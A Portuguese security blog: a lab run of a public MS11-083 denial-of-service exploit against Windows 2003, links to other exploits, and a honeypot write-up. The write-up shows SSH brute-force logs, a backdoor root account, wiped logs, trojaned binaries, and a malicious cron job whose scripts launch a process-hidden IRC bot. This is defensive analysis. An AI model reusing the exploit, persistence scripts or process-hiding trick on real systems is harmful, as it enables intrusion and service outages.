Category: Hacking


Informado pela sans..

An integer overflow in the TCP/IP stack allows random code execution from a stream of UDP packets sent to a closed port. Permission for the attacker are at kernel level.

Depois de sair o exploit para a vulnerabilidade MS11-083 realizei a prova de conceito para verificar o que ocorre na tal situação.

A Mirosoft informou que para se explorada será necessário enviar aproximadamente 2^32 pacotes UDP para obter êxito na exploração.

No lab temos um Debian que faz o ataque e o Windows 2003 Standard com 1Gb de memória RAM 4 CPU’s que será atacado.

O exploit divulgado publicamente: http://packetstormsecurity.org/files/106873/winnuke2011.sh.txt , utilizei somente o código em C .

 

Compilando….

debian:~/2003# gcc -lpthread MS11-083.c -o MS11-083

debian:~/2003# ./MS11-083
[+] MS11-083 DoS/PoC exploit
[!] Usage : ./MS11-083 <server> <port>

 

No Windows.. tudo sobre controle..

 

Antes do Ataque

Antes do Ataque

 

 

Começamos o ataque…

debian:~/2003# ./MS11-083 192.168.10.131 1000
[+] MS11-083 DoS/PoC exploit
[-] Sending payload ‘ZSW”<kc’ULJ=VK%XE-cP0*%(‘bORT=”;D”[c=S'
[-] Thread number 0 started
[-] Sending payload ’60&a;%=^,7FKMc[D=J>90J6Y7DR]*PC<&8′.%) ‘
[-] Thread number 1 started
[-] Sending payload ‘dCJe-f+65f9@NJhH-c”!?XU% (7#TDOhjIa+`=_)’
[-] Thread number 2 started
[-] Sending payload ‘/;.S”0:#dd=kSACiD=S!OLO#V/ZLP<]L`?,/D$’
[-] Thread number 3 started
[-] Sending payload ‘”S.Q]=JOT” (8%O)-4bF+NeN I@**A<.Di/RV\5>’
[-] Thread number 4 started
[-] Sending payload ‘Ag0BMF”FF[ aB]*9*UQi<2H!8X&LieC>`U1AKQ7B’
[-] Thread number 5 started
[-] Sending payload ‘,=aTOe9-]”A&,B-;:b,f0<@BVX#VbM’WQD;K_f’
[-] Thread number 6 started
[-] Sending payload ‘AH2M R!h\+#H>e.VD-bDI;1″JJ’ JeQG6Sg2C’
[-] Thread number 7 started
[-] Sending payload ‘*X-KOSYQF!86#M53C^f1Z+jM=*+[.e56&0h)kiQ'
[-] Thread number 8 started

 

Em questão de segundos veremos o gráfico de performace do Windows..

Após o ataque

Após o ataque

Em outro console temos a saída do tcpdump

debian:~/2003# tcpdump -X -vvv -i eth0 dst host 192.168.10.131
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
23:47:47.221788 IP (tos 0×0, ttl 64, id 0, offset 0, flags [DF], proto UDP (17), length 69) 192.168.10.128.33405 > 192.168.10.131.1000: [udp sum ok] UDP, length 41
0×0000:  4500 0045 0000 4000 4011 a454 c0a8 0a80  E..E..@.@..T….
0×0010:  c0a8 0a83 827d 03e8 0031 bee0 6250 5d2a  …..}…1..bP]*
0×0020:  3b2e 5028 246a 5d3d 5632 273b 3a49 2156  ;.P($j]=V2′;:I!V
0×0030:  2069 3a2d 3725 5f22 5723 284d 5536 2741  .i:-7%_”W#(MU6′A
0×0040:  465a 4b4c 00                             FZKL.
23:47:47.221846 IP (tos 0×0, ttl 64, id 0, offset 0, flags [DF], proto UDP (17), length 69) 192.168.10.128.33405 > 192.168.10.131.1000: [udp sum ok] UDP, length 41
0×0000:  4500 0045 0000 4000 4011 a454 c0a8 0a80  E..E..@.@..T….
0×0010:  c0a8 0a83 827d 03e8 0031 bee0 6250 5d2a  …..}…1..bP]*
0×0020:  3b2e 5028 246a 5d3d 5632 273b 3a49 2156  ;.P($j]=V2′;:I!V
0×0030:  2069 3a2d 3725 5f22 5723 284d 5536 2741  .i:-7%_”W#(MU6′A
0×0040:  465a 4b4c 00                             FZKL.
23:47:47.221850 IP (tos 0×0, ttl 64, id 0, offset 0, flags [DF], proto UDP (17), length 69) 192.168.10.128.33405 > 192.168.10.131.1000: [udp sum ok] UDP, length 41
0×0000:  4500 0045 0000 4000 4011 a454 c0a8 0a80  E..E..@.@..T….
0×0010:  c0a8 0a83 827d 03e8 0031 bee0 6250 5d2a  …..}…1..bP]*
0×0020:  3b2e 5028 246a 5d3d 5632 273b 3a49 2156  ;.P($j]=V2′;:I!V
0×0030:  2069 3a2d 3725 5f22 5723 284d 5536 2741  .i:-7%_”W#(MU6′A
0×0040:  465a 4b4c 00                             FZKL.
23:47:47.221853 IP (tos 0×0, ttl 64, id 0, offset 0, flags [DF], proto UDP (17), length 69) 192.168.10.128.33405 > 192.168.10.131.1000: [udp sum ok] UDP, length 41
0×0000:  4500 0045 0000 4000 4011 a454 c0a8 0a80  E..E..@.@..T….
0×0010:  c0a8 0a83 827d 03e8 0031 bee0 6250 5d2a  …..}…1..bP]*
0×0020:  3b2e 5028 246a 5d3d 5632 273b 3a49 2156  ;.P($j]=V2′;:I!V
0×0030:  2069 3a2d 3725 5f22 5723 284d 5536 2741  .i:-7%_”W#(MU6′A
0×0040:  465a 4b4c 00                             FZKL.
23:47:47.221856 IP (tos 0×0, ttl 64, id 0, offset 0, flags [DF], proto UDP (17), length 69) 192.168.10.128.33405 > 192.168.10.131.1000: [udp sum ok] UDP, length 41
0×0000:  4500 0045 0000 4000 4011 a454 c0a8 0a80  E..E..@.@..T….
0×0010:  c0a8 0a83 827d 03e8 0031 bee0 6250 5d2a  …..}…1..bP]*
0×0020:  3b2e 5028 246a 5d3d 5632 273b 3a49 2156  ;.P($j]=V2′;:I!V
0×0030:  2069 3a2d 3725 5f22 5723 284d 5536 2741  .i:-7%_”W#(MU6′A
0×0040:  465a 4b4c 00                             FZKL.

 

Nesta situação temos somente 1 computador atacando, o script esta utilizando toda a CPU do Debian.

PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND
3541 root         20   0  273m    976  484   S  97.2     0.2           0:16.40 MS11-083

 

No atual lab não conseguimos causar um DoS no alvo, mas de acordo com os resultados vimos que isso seria possível seeeeeeeeee… o firewall estivesse desabilitado….

Agora vamos habilitar o firewall do windows, e voltaremos ao ataque e os gráficos…

 

Firewalled

Firewalled

 

Ou seja, o ataque pode ser mitigado sem muitos problemas. Para completar os 2^32 pacotes enviados levaria aproximadamente 52 dias, paramos por aqui sem a verdadeira prova que seria possível executar um código remotamente.

Mais informações sobre o Bug: http://technet.microsoft.com/en-us/security/bulletin/ms11-083

Resumindo, sempre firewall ativado e sistema atualizado!

Outro exploit e mais infos pode ser encontrado também em: http://blog.rootentropy.co.za/post/12567851289/ms11-083-traffic-capture

 

[]‘s

Sergito

Mais um xploit para kernel 2.6.30....

http://1337day.com/exploits/16993

[]'s
Sérgito

Depois do killapache codado pelo kingcope, saiu publicamente hoje a nova versão modificada por “S4(uR4″. Postado no pastebin, segue link abaixo:

http://pastebin.com/gWB76qmj

 

[]‘s

Sergito

Algo que ja era discutido anteriormente pelos russos caiu na mídia ontem,  mas a novidade desta vez é a utilização do php.info para injetar arquivos e ler outros arquivos do alvo.

Como??

A saída do PHPinfo() contém valores das variáveis PHP que utilizam o _GET, _POST e uploaded _FILES. Enquanto a requisição é feita, é escrito no /tmp um arquivo temporário que será a saída da chamada do phpinfo() que depois do processamento será deletada. Seguindo esta lógica… não conseguiu imaginar??

Segue o link do paper completo que foi descoberto pelo time da insomniasec: http://www.insomniasec.com/publications/LFI%20With%20PHPInfo%20Assistance.pdf

Não são em todas condições que é válido, mas na grande maioria..

 

[]‘s

Sérgito

Para a execução deste artigo foi instalado o Debian Lenny, puro, somente o necessário para o sistema operacional entrar em funcionamento, nenhum modo gráfico, e a partir dai foram instalados os serviços que foram a isca para os atacantes.

O Samhain, um excelente Host Intrusion Detection System (HIDS) foi devidamente configurado para enviar os alertas por e-mail de cada mudança no sistema operacional.

 

No cenário suponhamos que um Sysadmin configurou incorretamente o servidor, foi criado um usuário sysctl com poderes de root para o acesso, capturar evidencias com o mínimo de tempo possível conectado ao servidor evitando deixar rastros

 

Overview do Sistema Operacional

             Vejamos abaixo as versões dos serviços e outras informações úteis do sistema operacional:

 

root@dns:~# uname -a

Linux dns 2.6.26-2-686 #1 SMP Mon Aug 30 07:01:57 UTC 2010 i686 GNU/Linux

 

Serviços e Ferramentas:

 

root@dns:~# dpkg –list |grep apache

ii  apache2                           2.2.9-10+lenny8            Apache HTTP Server

 

root@dns:~# dpkg –list |grep postfix

ii  postfix                           2.5.5-1.1                 High-performance mail transport agent

 

root@dns:~# dpkg –list |grep ssh

ii  ssh                               1:5.1p1-5                  secure shell client and server

 

root@dns:~# dpkg –list |grep nmap

ii  nmap                              4.62-1                     The Network Mapper

 

root@dns:~# dpkg –list |grep tcpdump

ii  tcpdump                           3.9.8-4                    A powerful tool for network

 

root@dns:~# dpkg –list |grep netcat

ii  netcat-traditional                1.10-38                    TCP/IP swiss army knife

 

root@dns:~# dpkg –list |grep mysql

ii  mysql-common                      5.0.51a-24+lenny4          MySQL database common

 

root@dns:~# dpkg –list |grep samhain

ii  samhain                           2.2.3-6.2     Data integrity and host intrusion alert system

 

 

root@dns:~# free -m

total       used       free     shared    buffers     cached

Mem:                          1011        124        887          0         11         86

-/+ buffers/cache:         27          984

Swap:                         1608          0        1608

 

Nmap:

dns:~# nmap localhost

 

Starting Nmap 4.62

Interesting ports on localhost (127.0.0.1):

Not shown: 1712 closed ports

PORT    STATE SERVICE

22/tcp  open  ssh

80/tcp  open  http

111/tcp open  rpcbind

Nmap done: 1 IP address (1 host up) scanned in 0.164 seconds

Lembrando que nenhuma porta dos serviços instalados foram alteradas, tudo esta instalado como padrão do sistema.

Pronto!! O servidor esta no ar!! Com o Ip 189.100.65.245 e aguardando os mais variado tipos de ataques.

PRIMEIRA SEMANA

Nos primeiro dias nada de eventos, o samhain nada enviou nestes dois primeiros dias, o motivo disso é que o IP ainda não foi escaneado pelos bots da internet.

Porém no 3º dia começaram os brute forces, muitas conexões em cima do protocolo ssh, vejamos abaixo:

22:22:29 dns sshd[2365]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=60.191.187.227  user=root

22:22:32 dns sshd[2365]: Failed password for root from 60.191.187.227 port 38395 ssh2

22:22:34 dns sshd[2367]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=60.191.187.227  user=root

22:22:37 dns sshd[2367]: Failed password for root from 60.191.187.227 port 38627 ssh2

22:22:39 dns sshd[2369]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=60.191.187.227  user=root

22:22:41 dns sshd[2369]: Failed password for root from 60.191.187.227 port 38844 ssh2

22:22:44 dns sshd[2371]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=60.191.187.227  user=root

22:22:46 dns sshd[2371]: Failed password for root from 60.191.187.227 port 39037 ssh2

22:22:49 dns sshd[2373]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=60.191.187.227  user=root

22:22:51 dns sshd[2373]: Failed password for root from 60.191.187.227 port 39272 ssh2

22:22:54 dns sshd[2375]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=60.191.187.227  user=root

22:22:56 dns sshd[2375]: Failed password for root from 60.191.187.227 port 39483 ssh2

22:23:00 dns sshd[2377]: Invalid user ftpadmin from 60.191.187.227

22:23:00 dns sshd[2377]: pam_unix(sshd:auth): check pass; user unknown

22:23:05 dns sshd[2379]: Invalid user postgres from 60.191.187.227

22:23:11 dns sshd[2381]: Invalid user oracle from 60.191.187.227

06:06:15 dns sshd[2787]: Failed password for root from 116.228.1.50 port 51577 ssh2

06:06:18 dns sshd[2789]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=116.228.1.50  user=root

 

Este é um pequeno exemplo, abaixo os ip’s e suas origens…

 

Ip’s que fizeram tentativas ao servidor – Total 5

IP ORIGEM

LOCALIZAÇÃO

60.191.187.227 China
59.175.146.230 China
116.228.1.50 China
219.144.130.194 China
210.188.221.21 Japão

 

Até que certo momento…..

03:40:08 dns sshd[2715]: Accepted password for root from 59.175.146.230 port 37674 ssh2

Primeiro bot vencedor!!

 

Sep 17 06:06:24 dns sshd[2791]: Accepted password for root from 116.228.1.50 port 52201 ssh2

Segundo bot vencedor!!

 

07:24:49 dns sshd[2920]: Accepted password for root from 58.211.1.163 port 20693 ssh2

Terceiro bot vencedor!!

Mais alguns dias se passam e mais bots e seus brute forces….

Ip’s que fizeram tentativas ao servidor – Total 7

IP ORIGEM

LOCALIZAÇÃO

60.191.187.227 China
59.175.146.230 China
116.228.1.50 China
219.144.130.194 China
210.188.221.21 Japão
87.197.108.112 Eslováquia
108.197.87.112 -

Ainda na primeira semana…

 

17:53:58 dns sshd[5597]: Accepted password for root from 201.238.198.110 port 50330 ssh2

 17:53:58 dns sshd[5597]: pam_unix(sshd:session): session opened for user root by (uid=0)

 17:54:05 dns sshd[5604]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=201.238.198.110  user=root

 17:54:07 dns sshd[5604]: Failed password for root from 201.238.198.110 port 51232 ssh2

 17:54:08 dns sshd[5606]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=201.238.198.110  user=root

 17:54:10 dns sshd[5606]: Failed password for root from 201.238.198.110 port 51911 ssh2

 17:54:12 dns sshd[5608]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=201.238.198.110  user=root

Acima temos um bot, de origem chilena, isto se ele não for um proxy de outro país, fez uma conexão ao servidor, obteve êxito e continua tentando mais senhas para o usuário root.

 

Ip’s que fizeram tentativas ao servidor Total 9

IP ORIGEM

LOCALIZAÇÃO

60.191.187.227 China
59.175.146.230 China
116.228.1.50 China
219.144.130.194 China
210.188.221.21 Japão
87.197.108.112 Eslováquia
108.197.87.112 -
201.238.198.110 Chile
190.17.234.2 Argentina

Primeiro acesso inteligente no servidor! um usuário criado!! com os poderes de root !!

Tivemos um acesso de origem argentina e logo após o usuário criado!!

17:56:48 dns sshd[5692]: Accepted password for root from 190.17.234.2 port 57557 ssh2

 17:57:41 dns useradd[5743]: new user: name=game, UID=0, GID=0, home=/home/game, shell=/bin/sh

Mais um vencedor!!

07:48:04 dns sshd[15201]: Accepted password for root from 114.80.97.201 port 53137 ssh2

 07:48:04 dns sshd[15201]: pam_unix(sshd:session): session opened for user root by (uid=0)

Como temos um fuso horário bem diferente do lado oriente, aqui são 12:00h, no outro lado do mundo são 00:00h, tivemos grande quantidade de tentativas após este horário pelo ip 61.16.240.36

 

12:56:38 dns sshd[18188]: Invalid user admin from 61.16.240.36

12:57:46 dns sshd[18222]: Failed password for invalid user webadmin from 61.16.240.36 port 40444 ssh2

12:57:51 dns sshd[18224]: Invalid user ftp from 61.16.240.36

 

Desta vez o usuário test foi citado nos logs!! mas sem sucesso

12:57:55 dns sshd[18226]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=61.16.240.36  user=test

Ip’s que fizeram tentativas ao servidor Total 10

IP ORIGEM

LOCALIZAÇÃO

60.191.187.227 China
59.175.146.230 China
116.228.1.50 China
219.144.130.194 China
210.188.221.21 Japão
87.197.108.112 Eslováquia
108.197.87.112 -
201.238.198.110 Chile
190.17.234.2 Argentina
61.16.240.36 India

 

16:57:15 dns sshd[20628]: Accepted password for root from 184.105.240.158 port 46134 ssh2

Finalmente o usuário ‘test’ foi descoberto…

16:58:00 dns sshd[20661]: Accepted password for test from 184.105.240.158 port 48938 ssh2

 

E muito próximo disto temos mais um acesso pelo usuário root…

 

16:57:42 dns sshd[20640]: Accepted password for root from 92.85.189.160 port 53867 ssh2

 

Que desta vez foi mais esperto….

16:58:53 dns passwd[20687]: pam_unix(passwd:chauthtok): password changed for root

Até o momento, todos estes brute forces eram esperado, a partir de agora o que vier fará parte da inteligência do atacante, pois quem quer se esteja por trás do ip 92.85.189.160, não gosta de compartilhar um servidor com mais uns estrangeiros, visto que senha de root foi alterada.

Mas não podemos esquecer que existe um usuário ‘game’ com poderes de root no qual foi criado nesta semana, este ainda pode acabar com a festa…

 

Ip’s que fizeram tentativas ao servidor Total 11

IP ORIGEM

LOCALIZAÇÃO

60.191.187.227 China
59.175.146.230 China
116.228.1.50 China
219.144.130.194 China
210.188.221.21 Japão
87.197.108.112 Eslováquia
108.197.87.112 -
201.238.198.110 Chile
190.17.234.2 Argentina
61.16.240.36 India
118.127.0.242 Australia

 

Ao final desta semana tivemos diversos acessos ao servidor, que por sinal já esta bem comprometido, vejamos a saída do comando ‘last’:

game     pts/1        2-234-17-190.fib Fri Sep 17 18:00 – 18:01  (00:01)   

root     pts/1        2-234-17-190.fib Fri Sep 17 17:56 – 17:59  (00:02)   

root     pts/0        201.238.198.110  Fri Sep 17 17:53 – 18:21  (00:27)   

root     pts/0        92.80.232.122    Fri Sep 17 11:36 – 12:05  (00:29)   

test     pts/1        210.188.221.21   Fri Sep 17 11:24 – 11:25  (00:00)   

root     pts/0        210.188.221.21   Fri Sep 17 11:23 – 11:25  (00:01)   

root     pts/0        58.211.1.163     Fri Sep 17 07:24 – 07:24  (00:00)   

root     pts/0        116.228.1.50     Fri Sep 17 06:06 – 06:06  (00:00)   

root     pts/0        59.175.146.230   Fri Sep 17 03:40 – 03:40  (00:00)   

root     pts/0        60.191.187.227   Thu Sep 16 22:22 – 22:23  (00:01)  

root     pts/0        202.190.180.229  Thu Sep 16 14:44 – 14:44  (00:00)   

root     pts/1        180.149.53.114   Thu Sep 16 08:19 – 08:19

wtmp begins Wed Sep 15 02:37:11 2010

 

Até o momento só vi logs e mais logs, algo que deixou em alerta são alguns acessos de longo período de atividade, a partir de amanhã levantarei quais foram as modificações realizadas no sistema operacional, pois os alertas do samhain estão cada vez mais comuns.

Para evitar perder algumas evidências, fiz algumas alterações para preservar os logs pois o atacante pode remover os logs a qualquer momento, já que esta é uma prática comum entre os hackers.

Também foi criado a variável HISTFILE dentro do arquivo .bashrc dos usuários ‘root’, ‘game’ e ‘test’ que são os mais acessados.

A seguinte linha foi adicionada no arquivo .bashrc destes usuários e também adicionada ao /etc/skel/.bashrc, pois caso houver a criação de algum usuário novo o mesmo levará consigo estas variáveis.

export HISTFILE=/usr/local/tmp/history_root

 

Cada usuário tem um arquivo diferente para armazenar os logs.

 

 

SEGUNDA SEMANA

             Logo de início temos mais um acesso pelo usuário ‘test’, por ele ser um usuário comum, teoricamente, muita coisa ele não poderá fazer, gostaríamos de ver algum exploit ou alguma técnica nova de escalação de privilégios….

 

21:44:01 dns sshd[23679]: Accepted password for test from 118.127.0.242 port 58320 ssh2

 

Mais um descobridor do usuário ‘test’…

21:45:06 dns sshd[23978]: Accepted password for test from 79.117.72.85 port 1554 ssh2

 

Ip’s que fizeram tentativas ao servidor Total 14

IP ORIGEM

LOCALIZAÇÃO

60.191.187.227 China
59.175.146.230 China
116.228.1.50 China
219.144.130.194 China
210.188.221.21 Japão
87.197.108.112 Eslováquia
108.197.87.112 -
201.238.198.110 Chile
190.17.234.2 Argentina
61.16.240.36 India
118.127.0.242 Australia
79.117.72.85 Romênia
180.149.11.23 Bangladesh
210.188.221.21 Japão

 

Hoje ao logar no servidor e executar o comando ‘last’, que lista os últimos acessos ao servidor, me deparo com uma situação engraçada, antes era exibido uma lista grande de acesso como descrito um pouco acima, porém agora a lista esta menor, vejamos:

test     pts/2        79.117.72.85     Sat Sep 18 21:45   still logged in

test     pts/2        www.dancemusichu Sat Sep 18 21:44 – 21:45  (00:00)

test     pts/0        www.dancemusichu Sat Sep 18 21:44 – 21:57  (00:13)

test     pts/0        www.dancemusichu Sat Sep 18 21:44 – 21:44  (00:00)

wtmp begins Sat Sep 18 21:44:01 2010

 

É isto mesmo, tivemos os logs removidos!!

A última linha da saída do comando ‘last’ nos da uma informação valiosa, quer dizer que o novo arquivo de log foi iniciado em 18 de Setembro de 20010 ás 21:44:01h.

 

Analisando o arquivo gerado pelo tcpdump, vemos que o ultimo acesso ao servidor pela porta 22(ssh) teve origem do ip 92.85.189.160 (Romênia) e está muito próximo da data em que os logs foram removidos.

 

Nada garante que o atacante seja da origem do endereço ip, pois é muito comum entre os hackers a utilização de ‘nós’, ou seja, uma máquina comprometida em outro país seja utilizada como uma ponte para acesso a outro servidor, ou mesmo a utilização de proxy’s para acesso a outros servidores para dificultar a localização do atacante.

Outra evidência encontrada nesta semana foi a alteração dos binários do sistema, além do samhain ter alertado, também foi possível depois que foi executado o comando ‘ps’:

 

root@dns:~# ps

Falha de segmentação

 

A partir deste momento, tudo o que é visualizado na tela pode não ser real, pois com os binários importantes manipulados, quem manipulou, filtra somente aquilo que deseja ser visível ao sysadmin, ou seja, conexões ou processos pode não ser visível sendo executado pelo binário modificado.

 

Um exemplo do comando ‘netstat’ no servidor:

 

root@dns:~# netstat -an

Conexões Internet Ativas (servidores e estabelecidas)

Proto Recv-Q Send-Q Endereço Local          Endereço Remoto         Estado

tcp        0          0                     0.0.0.0:111               0.0.0.0:*                      OUÇA

tcp        0          0                     0.0.0.0:22                 0.0.0.0:*                     OUÇA

tcp        0          0                                   :::80                    :::*                              OUÇA

udp       0          0                        0.0.0.0:111           0.0.0.0:*

E na verdade, o servidor esta servindo como ponte, e esta atacando outros servidores da mesma maneira que fui atacado, via brute force:

Abaixo a saída do comando ‘netstat’ de um binário limpo….

 

tcp        0      1 189.100.65.245:43137    4.187.0.206:22          SYN_ENVIADO

tcp        0      0 189.100.65.245:49391    12.15.0.166:22          TIME_WAIT 

tcp        0      1 189.100.65.245:49915    4.188.0.55:22           SYN_ENVIADO

tcp        0      1 189.100.65.245:33015    4.187.0.68:22           SYN_ENVIADO

tcp        0      0 189.100.65.245:54583    200.171.169.157:22      TIME_WAIT 

tcp        0      1 189.100.65.245:40913    4.187.0.166:22          SYN_ENVIADO

tcp        0      0 189.100.65.245:56366    200.171.169.157:22      TIME_WAIT 

tcp        0     52 189.100.65.245:52786    12.179.0.202:22         ESTABELECIDA

tcp        0      0 189.100.65.245:53861    12.189.0.65:22          TIME_WAIT 

tcp        0      0 189.100.65.245:42993    12.35.0.131:22          TIME_WAIT 

tcp        0      0 189.100.65.245:57827    200.171.169.157:22      TIME_WAIT 

tcp        0    144 189.100.65.245:55289    12.168.0.114:22         ESTABELECIDA

tcp        0      0 189.100.65.245:45116    12.108.0.149:22         TIME_WAIT 

tcp        0      1 189.100.65.245:58976    4.186.0.182:22          SYN_ENVIADO

tcp        0      0 189.100.65.245:33097    200.171.131.99:22       TIME_WAIT 

tcp        0      0 189.100.65.245:41088    200.172.118.3:22        TIME_WAIT 

tcp        0      0 189.100.65.245:52661    12.108.0.67:22          TIME_WAIT 

tcp        0      0 189.100.65.245:48526    200.172.36.24:22        TIME_WAIT 

tcp        0      0 189.100.65.245:57945    200.171.143.23:22       TIME_WAIT 

tcp        0      0 189.100.65.245:47074    200.171.9.206:22        TIME_WAIT 

tcp        0      1 189.100.65.245:52177    4.187.0.212:22          SYN_ENVIADO

tcp        0      0 189.100.65.245:36124    12.35.0.131:22          TIME_WAIT 

tcp        0      1 189.100.65.245:44927    4.188.0.93:22           SYN_ENVIADO

tcp        0      0 189.100.65.245:41041    200.172.83.162:22       TIME_WAIT 

tcp        0      0 189.100.65.245:56750    200.172.230.187:22      TIME_WAIT 

tcp        0      0 189.100.65.245:41356    12.110.0.115:22         TIME_WAIT 

 

Este é somente um pequeno pedaço da saída do comando ‘netstat’.

 

Vemos que existe algumas conexões estabelecidas na porta 22 (ssh) e muitas outras com o sinal de ‘TIME_WAIT’.

Antes de prosseguir, o samhain nos informou por e-mail que no dia 17 de Setembro ás 23:16h, foram alterados uma série de arquivos no ‘/bin’, dentre eles o binário ‘ls’ não foi alterado, então podemos utilizá-lo para listar os arquivos.

 

Segue a lista de arquivos alterados:

drwxr-xr-x  2 root root 4,0K Set 17 23:16 .

-rwxr-xr-x  1 root root  12K Set 17 23:16 bzip2recover

-rwxr-xr-x  1 root root  31K Set 17 23:16 cat

-rwxr-xr-x  1 root root  49K Set 17 23:16 chgrp

-rwxr-xr-x  1 root root  46K Set 17 23:16 chmod

-rwxr-xr-x  1 root root  58K Set 17 23:16 date

-rwxr-xr-x  1 root root 8,4K Set 17 23:16 dmesg

-rwxr-xr-x  1 root root  13K Set 17 23:16 dnsdomainname

-rwxr-xr-x  1 root root  28K Set 17 23:16 echo

-rwxr-xr-x  1 root root  26K Set 17 23:16 false

-rwxr-xr-x  1 root root  59K Set 17 23:16 fgrep

-rwxr-xr-x  1 root root 103K Set 17 23:16 grep

-rwxr-xr-x  1 root root  58K Set 17 23:13 gzip

-rwxr-xr-x  1 root root  39K Set 17 23:16 loadkeys

-rwxr-xr-x  1 root root 8,5K Set 17 23:16 mountpoint

-rwxr-xr-x  1 root root  32K Set 17 23:16 mt-gnu

-rwxr-xr-x  1 root root 151K Set 17 23:16 nano

-rwsr-xr-x  1 root root  35K Set 17 23:16 ping

-rwxr-xr-x  1 root root  78K Set 17 23:16 ps

-rwxr-xr-x  1 root root  27K Set 17 23:16 sleep

 

Resumindo, tivemos os logs apagados e alguns binários modificados.

 

O samhain esta sendo de grande utilidade, pois seria impossível ficar analisando em tempo real os arquivos alterados.

Desta vez ele nos alertou do crontab, o agendados de taferas do linux. Ao verificar o que ocorreu, detectei uma entrada muito estranha:

 

 

dns:~# crontab -l

* * * * * /var/tmp/j/deltmp.pl >/dev/null 2>&1

 

Ao visualizarmos de perto esse script perl…

dns:~# cat /var/tmp/j/deltmp.pl

#!/bin/sh

if test -r /var/tmp/j/mech.pid; then

pid=$(cat /var/tmp/j/mech.pid)

if $(kill -CHLD $pid >/dev/null 2>&1)

then

exit 0

fi

fi

cd /var/tmp/j

./run &>/dev/null

 

Na verdade tem a extensão .pl(Perl), mas é um script bash que faz coisas muito interessantes, vejamos…

  1. Primeiramente verifica se existe o arquivo localizado em /var/tmp/j/mech.pid
  2. Se existir, ele atribui á variável ‘pid’ o número do processoem execução. Naverdade se vermos o arquivo mech.pid teremos o número do processo:

dns:~# cat /var/tmp/j/mech.pid

5943

 

  1. O processo é finalizado e o binário é executado novamente.

 

Mas o que este binário faz?? Visualizando o arquivo ‘run’, veremos….

 

#!/bin/sh

DGRN=’_[0;32m'

GRN='_[1;32m'

RES='_[0m'

WHI='_[1;37m'

DCYN='_[0;36m'

echo "${DCYN}[-] Espera… ${WHI}”

sleep 3

./hide -s “/usr/sbin/sshd” ./emech

echo “${DCYN}[-] Listo, Mech para Linux corriendo satisfactoriamente!${RES}”

 

Ele também é um script bash!! Que chama o arquivo ‘hide’ com uns parâmetros e logo após executa o binário ‘emech’ todos localizados no diretório ‘/var/tmp/j/’

O arquivo hide aparenta ser um binário malicioso que  camufla os processos e substitui por uma string ‘/usr/sbin/ssh’, vamos utilizar a ferramenta ‘strings’ para ver se conseguimos coletar algo….

File: hide

MD5:  364ed3e6bcb831ed5987e718a777b5f1

Size: 20748

XHide – Process Faker, by Schizoprenic Xnuxer Research (c) 2002

Options:

-s string

Fake name process

Run aplication as daemon/system (optional)

-u uid[:gid]

Change UID/GID, use another user (optional)

-p filename

Save PID to filename (optional)

Example: %s -s “klogd -m 0″ -d -p test.pid ./egg bot.conf

Full path seek

/dev/null

…..

…..

 

Copiei somente o necessário para entendermos o binário, o arquivo por completo estará disponível para download através de uma URL descrita no final deste artigo.

Como se imaginava, o arquivo malicioso camufla o binário ‘emech’ que nos processos do sistema será visto como “/usr/sbin/sshd”.

Agora vamos atrás do binário ‘emech’, strings novamente…

 

File: emech

MD5:  92bb28077f4d54960bbd6a22cb01466e

Size: 497561

ALIAS

WINGATE

VIRTUAL

SIGMASTER

TOPIC

CHANNEL

IRCNAME

CMDCHAR

USERFILE

USERMASTER

USERSLAVE

LINKPORT

LINKPASS

AUTOLINK

NOSEEN

NOSHELLCMD

NOSIGNALS

HASONOTICE

SHARED

EXPIRE

REASON

PROT

ECHO

HANDLE

./mech.set

./mech.session

….

….

….

Users on %s that are idle more than %i second%s:

Quit the nick floods you lamer

Get the hell out nick-flooding lamer!!!

%s kicked from %s for nick flooding

….

….

….

@ <channel> [-ops|-nonops] [pattern]

@ <PORT port> | <SERVER host> | <SEND>

@ [+minlevel] [-maxlevel] [#channel] [usermask] [-B] [-C]

@ [channel] <toggle> [0|1|on|off]

@ <channel> <nick|userhost> <newlevel>

@ <channel> <nick|userhost> <level> [expire] <reason>

@ <servername> [port] [login] [ircname]

@ <channel> <pattern of words banned>

@ <UP|DOWN|ADD|DEL|PORT> <…>

LINK ADD <entity> <linkpass> <host> <linkport>

@ <channel> <”String to kick on”> <”kick reason”>

@ [topic|command|level|pattern]

@ [channel] <nick|pattern [...]>

@ <handle> <channel> <nick|userhost> <level> [aop] [prot] [pass]

%s signed off %s ago with message [%s]

%s changed nicks to %s, %s ago

%s was kicked by %s with message [%s] %s ago

Commands available to you

….

….

Nickname too long: %s

I’ll get you for this!!!

Handle %s is already in use

No nick or userhost specified

No level specified

*!*@*.*

%s %s on %s is already a user

%s has been added as %s on %s

Password:

Problem adding the user

Unknown handle

Deleting bot %s

User %s has been purged

Levels were written to %s

Levels were read from %s

 could not be

Lists%s saved to file %s

Lists%s read from file %s

No nick specified

Ban attempt of %s

%s banned on %s

Siteban attempt of %s

%s sitebanned on %s

Kickban attempt of %s

Requested Kick

%s kickbanned on %s

Sitekickban attempt of %s

%s sitekickbanned on %s

Kick attempt of %s

./randfiles/randkicks.e

%s kicked from %s

-ops

-nonops

I have no information on %s

Users on %s%s

%4i%c   %c %9s %s

No matching users found

No users found

End of Userlist

No reason specified

The shitlist will expire: %s

Problem shitting the user

Unknown user: %s

access denied

Valid levels are 0 thru %i

Level changed from %i to %i

You have been unbanned on %s

%s unbanned on %s

./randfiles/randnicks.e

……..

 

